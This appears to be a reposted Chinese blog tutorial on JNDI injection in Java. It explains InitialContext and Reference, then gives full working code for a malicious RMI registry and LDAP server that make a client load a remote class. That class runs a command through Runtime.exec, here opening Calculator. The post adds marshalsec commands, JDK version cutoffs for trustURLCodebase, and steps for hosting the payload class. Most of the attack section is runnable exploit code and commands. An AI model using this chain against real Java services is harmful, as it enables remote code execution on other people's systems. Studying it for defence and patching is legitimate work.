JNDI

博客 分享
0 306
优雅殿下
优雅殿下 2022-04-09 00:57:43
悬赏:0 积分 收藏

JNDI

JNDI

1、概念

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。包括Naming Service和Directory Service,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)

2、前置知识

2.1、InitialContext

构造方法

//初始化一个上下文InitialContext()//构造一个初始上下文,并选择不初始化它。 InitialContext(boolean lazy)//使用提供的环境构建初始上下文。InitialContext(Hashtable<?,?> environment)

常用方法

//	将名称绑定到对象。 bind(Name name, Object obj) //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。list(String name) //	检索命名对象。 lookup(String name) //将名称绑定到对象,覆盖任何现有绑定rebind(String name, Object obj) //取消绑定命名对象。unbind(String name) 

代码实例

String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);

2.2、Reference

Reference是java中的引用类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法

Reference(String className)为类名为“className”的对象构造一个新的引用。Reference(String className, RefAddr addr)为类名为“className”的对象和地址构造一个新引用。Reference(String className, RefAddr addr, String factory, String factoryLocation)为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。Reference(String className, String factory, String factoryLocation)为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

Reference的主要参数

  1. className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  2. factory - 包含用于创建此引用引用的对象的实例的工厂类的名称。
  3. factoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议

常用方法

void	add(int posn, RefAddr addr)将地址添加到索引posn的地址列表中。void	add(RefAddr addr)将地址添加到地址列表的末尾。void	clear()从此引用中删除所有地址。Object	clone()使用其类别名称列表的地址,类工厂名称和类工厂位置创建此引用的副本。boolean	equals(Object obj)确定obj是否是具有与该引用相同的地址(以相同的顺序)的引用。RefAddr	get(int posn)检索索引posn上的地址。RefAddr	get(String addrType)检索地址类型为“addrType”的第一个地址。Enumeration<RefAddr>	getAll()检索本参考文献中地址的列举。String	getClassName()检索引用引用的对象的类名。String	getFactoryClassLocation()检索此引用引用的对象的工厂位置。String	getFactoryClassName()检索此引用引用对象的工厂的类名。int	hashCode()计算此引用的哈希码。Object	remove(int posn)从地址列表中删除索引posn上的地址。int	size()检索此引用中的地址数。String	toString()生成此引用的字符串表示形式。

2.3、ReferenceWrapper

ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问

类也很简单,主要通过构造方法获取Reference,同时继承了UnicastRemoteObject。

public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {    protected Reference wrappee;    private static final long serialVersionUID = 6078186197417641456L;    public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {        this.wrappee = var1;    }    public Reference getReference() throws RemoteException {        return this.wrappee;    }}

3、JNDI注入攻击

jndi注入有很多种攻击方式,这里只展示rmi和ldap方式,其他可以学习https://paper.seebug.org/1207/#

环境jdk1.8u66

3.1、JNDI+RMI

RMIServer

package com.akkacloud.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer1 {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        System.out.println("registry is runing in 1099");        //创建新的引用类,用于引用恶意类        Reference reference = new Reference("Calc", "com.akkacloud.jndi.Calc", "http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("obj",referenceWrapper);    }}

Calc(恶意类)

package com.akkacloud.jndi;import java.io.IOException;public class Calc {    public Calc() throws IOException {        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");    }}

RMIClient

package com.akkacloud.jndi;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;public class RMIClient1 {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        String url = "rmi://localhost:1099/obj";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

首先编译我们的恶意代码文件挂在至网站

 % javac Calc.java  % python3 -m http.server

image-20220408234224417

运行RMIServer

image-20220408234302143

运行RMICilent

image-20220408234341892

如果高版本(我这里是8u291)则会存在报错

system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

image-20220408234706732

还有就是使用marshalsec启动rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099

3.2、JDNI+LDAP

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

image.png

图引用于 https://xz.aliyun.com/t/6633

导入依赖

<dependency>  <groupId>com.unboundid</groupId>  <artifactId>unboundid-ldapsdk</artifactId>  <version>3.2.0</version></dependency>

ldapServer

package com.akkacloud.jndi;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class Ldap {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main(String[] argsx) {        String[] args = new String[]{"http://127.0.0.1:8000/#Calc", "9999"};        int port = 0;        if (args.length < 1 || args[0].indexOf('#') < 0) {            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$            System.exit(-1);        } else if (args.length > 1) {            port = Integer.parseInt(args[1]);        }        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        } catch (Exception e) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        /**         *         */        public OperationInterceptor(URL cb) {            this.codebase = cb;        }        /**         * {@inheritDoc}         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)         */        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            } catch (Exception e1) {                e1.printStackTrace();            }        }        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if (refPos > 0) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

client

package com.akkacloud.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LdapClient {    public static void main(String[] args) throws NamingException {        String uri = "ldap://127.0.0.1:9999/calc";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}

启动web服务,把恶意文件编译成class文件挂在web服务目录下,恶意文件不能包含package信息

image-20220409003420262

image-20220409003434656

其实实战可以使用marshalsec启动一个ldap服务,客户端还是一样的

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Calc 1389

image-20220409004039991

web服务

python3 -m http.server

image-20220409003726387

参考

https://www.cnblogs.com/nice0e3/p/13958047.html

https://paper.seebug.org/1091

https://y4er.com/post/attack-java-jndi-rmi-ldap-2/

https://paper.seebug.org/1207/#ldap

posted @ 2022-04-09 00:42 akka1 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    优雅殿下

    优雅殿下 (王者 段位)

    2018 积分 (2)粉丝 (47)源码

    小小码农,大大世界

     

    温馨提示

    亦奇源码

    最新会员